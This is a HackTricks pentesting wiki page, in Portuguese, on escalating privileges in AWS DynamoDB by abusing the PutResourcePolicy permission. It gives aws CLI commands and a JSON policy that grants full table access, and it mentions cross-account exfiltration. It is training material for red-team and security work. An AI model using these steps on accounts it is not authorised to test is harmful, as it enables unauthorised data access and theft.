AWS - DynamoDB Privesc

Reading time: 4 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

dynamodb

Para mais informações sobre dynamodb consulte:

AWS - DynamoDB Enum

dynamodb:PutResourcePolicy, e opcionalmente dynamodb:GetResourcePolicy

Desde março de 2024, a AWS oferece políticas baseadas em recursos para DynamoDB (AWS News).

Então, se você tem o dynamodb:PutResourcePolicy para uma tabela, você pode simplesmente conceder a si mesmo ou a qualquer outro principal acesso total à tabela.

Conceder o dynamodb:PutResourcePolicy a um principal aleatório frequentemente acontece por acidente, se os administradores pensarem que conceder dynamodb:Put* permitiria apenas que o principal inserisse itens no banco de dados — ou se eles concederam esse conjunto de permissões antes de março de 2024...

Idealmente, você também tem dynamodb:GetResourcePolicy, assim não sobrescreve outras permissões potencialmente vitais, mas apenas injeta as permissões adicionais que você precisa:

bash
# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
--resource-arn <table_arn> \
--query 'Policy' \
--output text > policy.json

Se não conseguir recuperar a política atual, use esta que concede acesso total à tabela ao seu principal:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FullAccessToDynamoDBTable",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
},
"Action": [
"dynamodb:*"
],
"Resource": [
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
]
}
]
}

Se precisar personalizá-la, aqui está uma lista de todas as possíveis ações do DynamoDB: AWS Documentation. E aqui está uma lista de todas as ações que podem ser permitidas via uma política baseada em recurso E quais delas podem ser usadas cross-account (pense em data exfiltration!): AWS Documentation

Agora, com o documento de política policy.json pronto, coloque a política baseada em recurso:

bash
# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
--resource-arn <table_arn> \
--policy "$(cat policy.json)"

Agora, você deve ter as permissões necessárias.

Post Exploitation

Pelo que sei, não existe outra forma direta de escalate privileges in AWS apenas por ter algumas permissões do AWS dynamodb. Você pode ler informações sensíveis das tabelas (que podem conter credenciais AWS) e escrever informações nas tabelas (o que pode acionar outras vulnerabilidades, como lambda code injections...) mas todas essas opções já são consideradas na DynamoDB Post Exploitation page:

AWS - DynamoDB Post Exploitation

TODO: Read data abusing data Streams

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks